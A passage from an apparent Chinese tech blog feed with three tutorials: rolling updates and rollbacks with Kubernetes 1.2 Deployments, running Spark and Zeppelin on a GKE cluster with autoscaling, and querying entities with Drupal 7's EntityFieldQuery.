&lt;p&gt;&lt;code&gt;kubectl run&lt;/code&gt; 会输出被创建资源的类型和名字。在 1.2 中变成了创建一个部署资源。后续操作中可以利用这一部署资源，例如 &lt;code&gt;kubectl get deployment&lt;/code&gt; 或者 &lt;code&gt;kubectl explose deployment&lt;/code&gt;。如果你希望编写一个向前兼容的自动化脚本，可以使用 &lt;code&gt;-o name&lt;/code&gt; 来运行 &lt;code&gt;kubectl run&lt;/code&gt; 命令，这样就会生成一个简短的输出 &amp;ldquo;deployment/&amp;ldquo;，可以用于后续命令。&lt;code&gt;--generator&lt;/code&gt; 标记也能用于 &lt;code&gt;kubernetes run&lt;/code&gt; 命令来生成其他类型的资源，例如设置为 &amp;ldquo;run/v1&amp;rdquo;，可以生成一个 Replication Controller，这是 1.1 和 1.0 的缺省行为，如果设置为 &amp;ldquo;run-pod/v1&amp;rdquo;，会创建一个 Pod，例如 &lt;code&gt;--restart=Never&lt;/code&gt; 的 Pod。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment-API-5.png&#34; alt=&#34;boot up&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上面的卡片显示了 Kuberntes 的 Pod，包含 Pod 的名字（ID）、状态、镜像以及标签。&lt;/p&gt;

&lt;h2 id=&#34;扩展&#34;&gt;扩展&lt;/h2&gt;

&lt;p&gt;现在我们来把这个应用集群扩大一点。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl scale deployment/update-demo --replicas=4
deployment &amp;quot;update-demo&amp;quot; scaled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment-API-2.png&#34; alt=&#34;scale&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;更新&#34;&gt;更新&lt;/h2&gt;

&lt;p&gt;更新一下应用：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl edit deployment/update-demo
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;他会打开你的缺省编辑器，你可以立即更新这一部署。查找 &lt;code&gt;.spec.template.spec.containers[0].image&lt;/code&gt;，把 &amp;ldquo;nautilus&amp;rdquo; 换成 &amp;ldquo;kitty&amp;rdquo;，保存文件，你会看到：&lt;code&gt;deployment &amp;quot;update-demo&amp;quot; edited&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;现在你把应用的镜像从 &amp;ldquo;update-demo:nautilus&amp;rdquo; 换成了 &amp;ldquo;update-demo:kitty&amp;rdquo;。部署对象允许在不停机的情况下进行渐进式的更新。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment-API-3.png&#34; alt=&#34;update&#34; /&gt;&lt;/p&gt;

&lt;p&gt;等待一段时间，就会发现，更新好像卡住了。&lt;/p&gt;

&lt;h2 id=&#34;排错&#34;&gt;排错&lt;/h2&gt;

&lt;p&gt;如果仔细看看，你会发现使用 &amp;ldquo;kitty&amp;rdquo; 镜像的 Pod 在持续的 Pending 状态。因为这种失败，部署过程自动停止。我们可以观察一下新的 Pod，看看发生了什么问题：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl describe pod/update-demo-1326485872-a4key
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看 Pod 的事件，会看到 Kubernetes 无法获取这个不存在的镜像。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Failed to pull image &amp;quot;gcr.io/google_containers/update-demo:kitty&amp;quot;: Tag kitty not found in repository gcr.io/google_containers/update-demo
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;回滚&#34;&gt;回滚&lt;/h2&gt;

&lt;p&gt;那么我们就要撤销之前的更新，花时间来找找我们需要的镜像名称。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl rollout undo deployment/update-demo deployment &amp;quot;update-demo&amp;quot; rolled back
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment-API-2.png&#34; alt=&#34;roll back&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这样就一切恢复如初了。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://kubernetes.io/docs/user-guide/deployments/#rolling-back-a-deployment&#34; target=&#34;_blank&#34;&gt;rolling back a Deployment&lt;/a&gt; 一文，介绍了更多的回滚有关的内容。&lt;/p&gt;

&lt;h2 id=&#34;再更新&#34;&gt;再更新&lt;/h2&gt;

&lt;p&gt;过一会，我们知道我们应该使用的镜像是 “kitten”，现在把 &lt;code&gt;.spec.template.spec.containers[0].image&lt;/code&gt; 标记从 &amp;ldquo;nautilus&amp;rdquo; 替换为 &amp;ldquo;kitten&amp;rdquo;。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl edit deployment/update-demo
deployment &amp;quot;update-demo&amp;quot; edited
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment-API-1.png&#34; alt=&#34;update2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在看到，4 只小猫都在运行了，这意味着我们成功的更新了应用，幕后细节可以从下面的命令获知：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl describe deployment/update-demo
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment-API-6.png&#34; alt=&#34;describe deployment&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里可以看到，部署对象管理着另外一个名为 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/replicasets/&#34; target=&#34;_blank&#34;&gt;Replica Set&lt;/a&gt; 的资源，控制着 Pod 的实例数量。部署对象具有利用扩展和收缩来对 Replica Set 进行渐进升级的能力。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;现在我们讲了部署对象的一些基础：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;利用部署对象和 &lt;code&gt;kubectl run&lt;/code&gt; 来部署应用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubectl edit&lt;/code&gt; 命令更新部署对象，从而更新应用。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;kubectl rollout undo&lt;/code&gt; 来回滚到之前的部署。&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：Kubernetes 1.2 中，部署对象（Beta 版本）具有完整的功能，是缺省启用的。如果之前用过了 Kubernetes 1.1 中的部署对象，因为这一次升级是向后不兼容的，所以在使用 1.2 之前，请&lt;strong&gt;删除所有的 1.1 的部署资源&lt;/strong&gt;（包括 Replication Controller 以及下属的 Pod）。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 1.2 中使用 Spark 和 Zeppelin 处理大数据</title>
      <link>/post/spark-zeppelin-in-kubernetes-1.2/</link>
      <pubDate>Thu, 07 Apr 2016 05:41:13 +0800</pubDate>
      <guid>/post/spark-zeppelin-in-kubernetes-1.2/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/03/using-spark-and-zeppelin-to-process-big-data-on-kubernetes&#34; target=&#34;_blank&#34;&gt;Using Spark and Zeppelin to process big data on Kubernetes 1.2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;大数据应用与日俱增，很多 Kubernetes 用户希望利用 Kubernetes 集群来运行 &lt;a href=&#34;http://spark.apache.org/&#34; target=&#34;_blank&#34;&gt;Apache Spark&lt;/a&gt;，借助容器的能力来获得弹性和移植性。在 Kubernetes 1.2 中，为 Spark、Zeppelin 以及其他应用提供了协同工作的平台。&lt;/p&gt;

&lt;h2 id=&#34;zeppelin-是什么&#34;&gt;Zeppelin 是什么？&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://zeppelin.incubator.apache.org/&#34; target=&#34;_blank&#34;&gt;Apache Zeppelin&lt;/a&gt; 是一个基于 Web 的交互式数据分析工具。Spark 也是 Zeppelin 所支持的后台之一。在命令行交互以及 Scala 之外，Zeppelin 为用户提供了一种较为简易的和 Spark 集群交互的能力。&lt;/p&gt;

&lt;h2 id=&#34;为什么用-kubernetes&#34;&gt;为什么用 Kubernetes？&lt;/h2&gt;

&lt;p&gt;有很多无需 Kubernetes 运行 Spark 的方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;独立服务器来运行&lt;/li&gt;
&lt;li&gt;可以在 &lt;a href=&#34;https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html&#34; target=&#34;_blank&#34;&gt;YARN&lt;/a&gt; 集群上，和 Hadoop 以及 HDFS 协同工作&lt;/li&gt;
&lt;li&gt;可以在 &lt;a href=&#34;http://mesos.apache.org/&#34; target=&#34;_blank&#34;&gt;Mesos&lt;/a&gt; 集群上跟其他 Mesos 应用一起运行。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;那么为什么在 Kubernetes 上运行 Spark ？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;一个单纯的、统一的集群接口：Kubernetes 能够支撑多种负载；无需为 YARN/HDFS 和其他应用进行不同的编排。&lt;/li&gt;
&lt;li&gt;提高服务器的利用率：在 Spark 和其他应用之间共享节点。你可以用一个串流应用来为 Spark 管线提供数据，也可以运行一个 Nginx Pod 来提供 Web 服务，无需对节点进行静态分区。&lt;/li&gt;
&lt;li&gt;不同负载之间的隔离：Kubernetes 的 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/release-1.2/docs/proposals/resource-qos.md&#34; target=&#34;_blank&#34;&gt;服务质量 (Quality of Service)&lt;/a&gt; 机制让用户能够安全的同时调度批处理应用（类似 Spark）以及延迟敏感的其他应用。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;spark-加载&#34;&gt;Spark 加载&lt;/h2&gt;

&lt;p&gt;这里使用 &lt;a href=&#34;https://cloud.google.com/container-engine/&#34; target=&#34;_blank&#34;&gt;Google 容器引擎（GKE）&lt;/a&gt; 来进行演示，不过这些过程也适用于其他的 Kubernetes 集群。首先创建一个容器引擎的集群，并指定其 scope 为 &lt;code&gt;storage-full&lt;/code&gt;。这样的设置允许该集群写入到私有的 Google 云存储中（我们会在后面解释这一选择的理由）：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcloud container clusters create spark --scopes storage-full --machine-type n1-standard-4&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意我们使用的类型是 &lt;code&gt;n1-standard-4&lt;/code&gt;（比缺省的节点类型稍大），用来演示 Pod 的纵向扩展能力。然而 Spark 在缺省的 &lt;code&gt;n1-standard-1&lt;/code&gt; 上也能够运行。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;集群建立之后，就可以利用 Kubernetes Github 仓库中的配置文件来在集群中启动 Spark 了：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;git clone https://github.com/kubernetes/kubernetes.git&lt;/code&gt;
&lt;code&gt;kubectl create -f kubernetes/examples/spark&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubernetes/examples/spark&lt;/code&gt; 是一个目录，这一命令告诉 kubectl 创建这一目录下所有的 YAML 文件所定义的 Kubernetes 对象。&lt;/p&gt;

&lt;p&gt;Pod（尤其是 Apache Zeppelin）很大，所以需要一些时间让 Docker 来拉取镜像，一旦运行成功，你会看到类似以下的输出：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get pods
NAME                            READY     STATUS    RESTARTS   AGE
spark-master-controller-v4v4y   1/1       Running   0          21h
spark-worker-controller-7phix   1/1       Running   0          21h
spark-worker-controller-hq9l9   1/1       Running   0          21h
spark-worker-controller-vwei5   1/1       Running   0          21h
zeppelin-controller-t1njl       1/1       Running   0          21h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看出 Kubernetes 正在运行一个 Zeppelin 实例，一个 Spark Master 以及三个 Spark worker。&lt;/p&gt;

&lt;h2 id=&#34;设置-zeppelin-的安全代理&#34;&gt;设置 Zeppelin 的安全代理&lt;/h2&gt;

&lt;p&gt;接下来要设置一个从本机到 Zeppelin 的安全代理，以便从你的机器访问 Zeppelin 实例。（注意这里需要根据你集群中的 Zeppelin Pod 的实际名称修改这个命令）&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ kubectl port-forward zeppelin-controller-t1njl 8080:8080&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这就建立了一个从 Kubernetes 集群到 Pod ( zeppelin-controller-t1njl ) 的安全连接，并把这个端口映射到本地的 8080 端口，让你可以安全的使用 Zeppelin。&lt;/p&gt;

&lt;h2 id=&#34;对正在运行的-zeppelin-做点什么&#34;&gt;对正在运行的 Zeppelin 做点什么？&lt;/h2&gt;

&lt;p&gt;例如我们将要演示如何创建一个简单的电影推荐模型。这一演示基于 &lt;a href=&#34;http://spark.apache.org/docs/1.5.2/mllib-collaborative-filtering.html&#34; target=&#34;_blank&#34;&gt;Spark 网站提供的代码&lt;/a&gt;，为了演示 Kubernetes 的特性，做了一点修改。&lt;/p&gt;

&lt;p&gt;现在安全代理启动了，浏览 &lt;code&gt;http://localhost:8080/&lt;/code&gt; 应该会看到下面的页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/welcome_to_zeppelin.png&#34; alt=&#34;Welcom to zeppelin&#34; /&gt;&lt;/p&gt;

&lt;p&gt;点击 &amp;ldquo;Import note&amp;rdquo;，设置一个随便什么名字（比如 “Movies”），点击 “Add from URL”，网址输入：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://gist.githubusercontent.com/zmerlynn/875fed0f587d12b08ec9/raw/6
eac83e99caf712482a4937800b17bbd2e7b33c4/movies.json&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;然后点击 &amp;ldquo;Import Note&amp;rdquo;，就会获取到这个 Demo 所需的 Zeppelin note。现在我们就有了一个 Notebook，如果点击这个 Note，会看到下面的内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/zeppelin_note.png&#34; alt=&#34;zeppelin note&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来可以点击右上角的 Play 按钮，就会创建一个新的电影推荐模型。在 Spark 应用模型中，Zeppelin 扮演 &lt;a href=&#34;https://spark.apache.org/docs/1.5.2/cluster-overview.html&#34; target=&#34;_blank&#34;&gt;Spark Driver Program&lt;/a&gt;，他负责同 Spark 集群交互，并令集群完成任务。在这里 Zeppelin Pod 中的应用获取数据，并发送给 Spark Master，Master 将其分发给 Worker，这些 Worker 会利用 Zeppelin 提供的代码来生成一个电影推荐模型。在下一节中，我们将会讲讲向 GCS 存储数据的问题。&lt;/p&gt;

&lt;h2 id=&#34;使用-google-云存储-可选&#34;&gt;使用 Google 云存储（可选）&lt;/h2&gt;

&lt;p&gt;在这个演示中，我们将使用 Google 云存储来保存我们的模型数据，这样就可以避免 Pod 生命周期的限制了。Kubernetes 版本的 Spark 内置了 &lt;a href=&#34;https://cloud.google.com/storage/&#34; target=&#34;_blank&#34;&gt;Google 云存储&lt;/a&gt; 的连接器。只要能够从运行着这个 Kubernetes 节点的 Google 容器引擎项目中能够访问到数据，那么同样的，你的 Spark 镜像也能利用 GCS 连接器访问数据。&lt;/p&gt;

&lt;p&gt;还可以在 Note 中修改例子中的变量，就可以保存和恢复电影推荐引擎的模型了，只要把这些变量指向 你有权访问的 GCS Bucket 就可以了。如果要创建一个 GCS Bucket，需要执行下面类似的命令：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gsutil mb gs://my-spark-models&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;URL 部分可以按照用户自己的需要来指定，执行后会生成相应的 Bucket 供应用来使用。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：运行这一模型，然后保存，这一过程远比运行后丢弃要慢。这很正常，但是如果要复用一个模型，那么计算后保存，复用时恢复就要比每次重新运算要快了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;使用-pod-的纵向扩展-可选&#34;&gt;使用 Pod 的纵向扩展（可选）&lt;/h3&gt;

&lt;p&gt;Spark 的 Works 有一些弹性功能，这让我们有机会：用 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/horizontal-pod-autoscaling/&#34; target=&#34;_blank&#34;&gt;Kubernetes Pod 纵向扩展能力&lt;/a&gt; 来对 Spark worker 池自动扩展，为 Work 设置一个目标 CPU 阈值以及最大最小规模即可。这样就不需手工配置 Worker 集群了。&lt;/p&gt;

&lt;p&gt;下面就是创建自动伸缩的指令&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：如果没有改变这一集群的机器类型，你可能需要把 &amp;ndash;max 参数设置的小一点。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;kubectl autoscale --min=1 --cpu-percent=80 --max=10 rc/spark-worker-controller&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;可以看到 Replication Controller 把实例数降低到 1，证明了自动伸缩的效果。使用 &lt;code&gt;bubectl get rc&lt;/code&gt;，会看到 spark-worker-controller 的 “replicas” 这一列会落回到 1。&lt;/p&gt;

&lt;p&gt;之前我们运行的负载太低。为了让任务运行更久一点，我们把 &amp;ldquo;rank = 100&amp;rdquo; 改成 &amp;ldquo;rank = 200&amp;rdquo;。这样在点击 &amp;ldquo;Play&amp;rdquo; 按钮后，Spark worker 会迅速增加到 20 pod，在工作完成后，最多需要五分钟，Work 池开始回落到单一实例。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;本文中我们展示了如何在 Kubernetes 中运行 Spark 和 Zeppelin，以及如何使用 Google 云存储来保存 Spark Model，还介绍了利用 Kubernetes 自动伸缩特性来动态设置 Spark worker 池。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何使用EntityFieldQuery</title>
      <link>/post/drupal-entityfieldquery-guide/</link>
      <pubDate>Wed, 06 Apr 2016 16:44:01 +0800</pubDate>
      <guid>/post/drupal-entityfieldquery-guide/</guid>
      <description>

&lt;p&gt;如何使用 EntityFieldQuery&lt;/p&gt;

&lt;p&gt;EntityFieldQuery 是 Drupal 7 中新增的一个类，允许利用指定条件获取符合条件的实体。查询条件可以基于属性，字段值以及一些其他的通用的实体元数据。他的语法非常紧凑和实用，而且这一功能由Drupal核心提供，无需另外安装其他模块。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/class/EntityFieldQuery/7&#34; target=&#34;_blank&#34;&gt;API 手册&lt;/a&gt;以及 modules\simpletest\tests\entity_query.test 中的测试用例，可以作为 EntityFieldQuery 的权威文档。&amp;rdquo;EntityFieldQuery&amp;rdquo; 类包含于 includes/entity.inc中。本文仅作为一个入门的简介供读者参考。&lt;/p&gt;

&lt;h2 id=&#34;建立一个查询&#34;&gt;建立一个查询&lt;/h2&gt;

&lt;p&gt;下面是一个简单的查询，用来查询所有包含今年教员照片的所有文章。下面的最后五行代码，&lt;code&gt;$result&lt;/code&gt;是一个联合数组，第一个键是实体类型，第二个键是实体编号（例如&lt;code&gt;$result[&#39;node&#39;][12322] = Node数据&lt;/code&gt; ），注意如果结果集为空，则其中不会有 &amp;lsquo;node&amp;rsquo; 键，因此需要用 isset来检查，&lt;a href=&#34;http://drupal.org/node/1427098&#34; target=&#34;_blank&#34;&gt;这里&lt;/a&gt;介绍了这种做法的来由。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$query = new EntityFieldQuery();
$query-&amp;gt;entityCondition(&#39;entity_type&#39;, &#39;node&#39;)
-&amp;gt;entityCondition(&#39;bundle&#39;, &#39;article&#39;)
-&amp;gt;propertyCondition(&#39;status&#39;, 1)
-&amp;gt;fieldCondition(&#39;field_news_types&#39;, &#39;value&#39;, &#39;spotlight&#39;, &#39;=&#39;)
-&amp;gt;fieldCondition(&#39;field_photo&#39;, &#39;fid&#39;, &#39;NULL&#39;, &#39;!=&#39;)
-&amp;gt;fieldCondition(&#39;field_faculty_tag&#39;, &#39;tid&#39;, $value)
-&amp;gt;fieldCondition(&#39;field_news_publishdate&#39;, &#39;value&#39;, $year . &#39;%&#39;, &#39;like&#39;)
-&amp;gt;fieldOrderBy(&#39;field_photo&#39;, &#39;fid&#39;, &#39;DESC&#39;)
-&amp;gt;range(0, 10)
-&amp;gt;addMetaData(&#39;account&#39;, user_load(1)); // Run the query as user 1.
$result = $query-&amp;gt;execute();
if (isset($result[&#39;node&#39;])) {
$news_items_nids = array_keys($result[&#39;node&#39;]);
$news_items = entity_load(&#39;node&#39;, $news_items_nids);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;entitycondition-name-value-operator-null-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3aentitycondition-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/function/EntityFieldQuery%3A%3AentityCondition/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;entityCondition($name, $value, $operator = NULL)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;entityConditions 是绝大多数实体类在 DrupalDefaultEntityController 类都应该支持的查询条件。&lt;/p&gt;

&lt;h3 id=&#34;entity-type&#34;&gt;entity_type&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：&amp;rsquo;node&amp;rsquo;, &amp;lsquo;taxnonomy_term&amp;rsquo;, &amp;lsquo;comment&amp;rsquo;, &amp;lsquo;user&amp;rsquo;, &amp;lsquo;file&amp;rsquo;&lt;/li&gt;
&lt;li&gt;操作符举例：不需要&lt;/li&gt;
&lt;li&gt;$query-&amp;gt;entityCondition(&amp;lsquo;entity_type&amp;rsquo;, &amp;lsquo;node&amp;rsquo;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;bundle-comment实体类型不支持&#34;&gt;bundle（comment实体类型不支持）&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：&amp;rsquo;artical&amp;rsquo;, &amp;lsquo;page&amp;rsquo;&lt;/li&gt;
&lt;li&gt;操作符举例：&amp;rsquo;=&amp;rsquo; 字符串，或者 &amp;lsquo;IN&amp;rsquo; 数组&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query-&amp;gt;entityCondition(&#39;bundle&#39;, &#39;article&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;revision-id&#34;&gt;revision_id&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：3, 4, 52, 342&lt;/li&gt;
&lt;li&gt;操作符举例：整数&lt;code&gt;=, &amp;lt;, &amp;gt;, !=&lt;/code&gt;，数组可以使用&amp;rsquo;IN&amp;rsquo;和&amp;rsquo;NOT IN&amp;rsquo;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query-&amp;gt;entityCondition(&#39;revision_id&#39;, $revision_id, &#39;=&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;entity-id-例如-node-id&#34;&gt;entity_id 例如 node id&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：3,4,52,342&lt;/li&gt;
&lt;li&gt;操作符举例：整数 &lt;code&gt;=, &amp;lt;, &amp;gt;, !=&lt;/code&gt;，数组可以使用 &amp;lsquo;IN&amp;rsquo; 和 &amp;lsquo;NOT IN&amp;rsquo;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query-&amp;gt;entityCondition(&#39;entity_id&#39;, array(17, 21,422), &#39;IN&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;propertycondition-name-value-operator-null-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3apropertycondition-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3ApropertyCondition/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;propertyCondition($name, $value, $operator = NULL)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;这些条件针对各种实体实现，例如Node, user, comment等。基本上是映射到entity自身的数据表字段中。例如node, users, comment, &lt;code&gt;file_managed&lt;/code&gt;, &lt;code&gt;taxonomy_term_data&lt;/code&gt;类似的表。用grep/search来查找&amp;rdquo;Implements hook_entity_info()&amp;ldquo;能查到实体对应的数据表。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;status (nodes)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;status&#39;, 1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;type (nodes)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;type&#39;, array(&#39;article&#39;, &#39;page&#39;, &#39;blog&#39;))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;uid (nodes)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;uid&#39;, $uid)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;uri (media)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;uri&#39;, &#39;%.jpg&#39;, &#39;LIKE&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;type (media)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;type&#39;, &#39;image&#39;);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/function/EntityFieldQuery%3A%3AfieldCondition/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;fieldCondition($field, $column = NULL, $value = NULL, $operator = NULL, $delta_group = NULL, $language_group = NULL)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这类条件针对实体的字段来执行。&lt;/p&gt;

&lt;p&gt;比如要查找 article node 的 body 字段：&lt;code&gt;-&amp;gt;fieldCondition(&#39;body&#39;, &#39;value&#39;, &#39;A&#39;, &#39;STARTS_WITH&#39;)&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;字段名称：一般来说，一个表如果叫 &lt;code&gt;field_data_body&lt;/code&gt;，实际的字段名就是 body。这个配置保存在 &lt;code&gt;field_config_instance&lt;/code&gt; 表中。&lt;/li&gt;
&lt;li&gt;列：这是在数据库中对应的列的列名称去掉前缀的部分。body字段的数据库列为 &lt;code&gt;body_value&lt;/code&gt;, &lt;code&gt;body_summary&lt;/code&gt;, &lt;code&gt;body_format&lt;/code&gt;以及 language。真正使用时会使用 value, summary, format 以及 language。
类似的，image 字段会使用 fid, alt 以及 title 作为列名；entity 引用字段会使用&lt;code&gt;target_id&lt;/code&gt;以及&lt;code&gt;target_type&lt;/code&gt;作为列名。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;propertyorderby-column-direction-asc-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3apropertyorderby-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/function/EntityFieldQuery%3A%3ApropertyOrderBy/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;propertyOrderBy($column, $direction = &#39;ASC&#39;)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;不是对所有属性都生效的。&lt;/p&gt;

&lt;h2 id=&#34;http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3arange-7-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3arange-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3Arange/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3Arange/7&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;限制查询结果集的范围。&lt;/p&gt;

&lt;h2 id=&#34;count-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3acount-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3Acount/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;count()&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;设置查询只返回数量，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$count = $query-&amp;gt;count()-&amp;gt;execute();
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;addmetadata-key-object-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3aaddmetadata-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3AaddMetaData/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;addMetaData($key, $object)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;在查询中加入其他元数据。因为 EntityFieldQuery 的 fieldCondition 会使用当前用户的权限进行查询，这通常不是我们想要的结果，所以这个方法的一个重要的用途就是用其他用户的身份进行查询，可以在这里使用1号用户进行查询：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$query-&amp;gt;addMetaData(&#39;account&#39;, user_load(1));
&lt;/code&gt;&lt;/pre&gt;

